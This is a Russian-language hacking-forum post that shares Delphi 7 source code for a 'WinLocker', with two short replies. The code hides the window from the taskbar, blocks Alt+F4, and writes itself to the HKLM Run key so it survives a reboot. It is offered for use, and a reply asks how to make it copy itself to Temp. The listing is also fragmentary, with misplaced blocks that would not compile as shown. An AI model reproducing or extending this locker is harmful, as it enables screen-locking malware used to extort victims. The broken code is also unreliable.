[Статья] WinLocker на Delphi

[craft1n]

Хотелось бы поделиться исходником винлокера, написанного на Borland Delphi 7:

Delphi код:

unit Key;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, jpeg, ExtCtrls;

type

TForm1 = class(TForm)

Image1: TImage;

Label1: TLabel;

procedure FormShow(Sender: TObject);

procedure FormKeyDown(Sender: TObject; var Key: Word;

Shift: TShiftState);

procedure FormCreate(Sender: TObject);

procedure Image1Click(Sender: TObject);

procedure Label1MouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormShow(Sender: TObject); //программа не отображается в строке виндовс(не знаю, как правильно называется, находится снизу)

begin

ShowWindow(Application.Handle, SW_HIDE);

end;

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; //теперь невозможно закрыть наш вирус, нажав CTRL + F4 или SHIFT + F4

Shift: TShiftState);

if (( ssAlt in Shift) and (Key = VK_F4)) then

begin

key:=0;

end;

procedure TForm1.Label1MouseDown(Sender: TObject; Button: TMouseButton; //закрывает окно винлокера по нажатию ПКМ по определенному месту на форме(Label1)

Shift: TShiftState; X, Y: Integer);

begin

if button = mbright then

Application.Terminate

end;

reg := TRegistry.Create();

reg.RootKey := HKEY_LOCAL_MACHINE;

if reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True) then //добавляет приложение в автозапуск, дабы его нельзя было закрыть перезагрузкой компьютера

begin

reg.WriteString( Application.Title, Application.ExeName);

reg.CloseKey();

end;

end.

Также в BorderStyle прописываем BSNone
Редактируем форму по своему предпочтению(добавляем картинки и текст)

[C1earSky]

Как сделать,чтобы файл скопировался в Temp?

Добавлено через 10 часов 31 минуту
Винлокер легко обходится win+d/win/alt+tab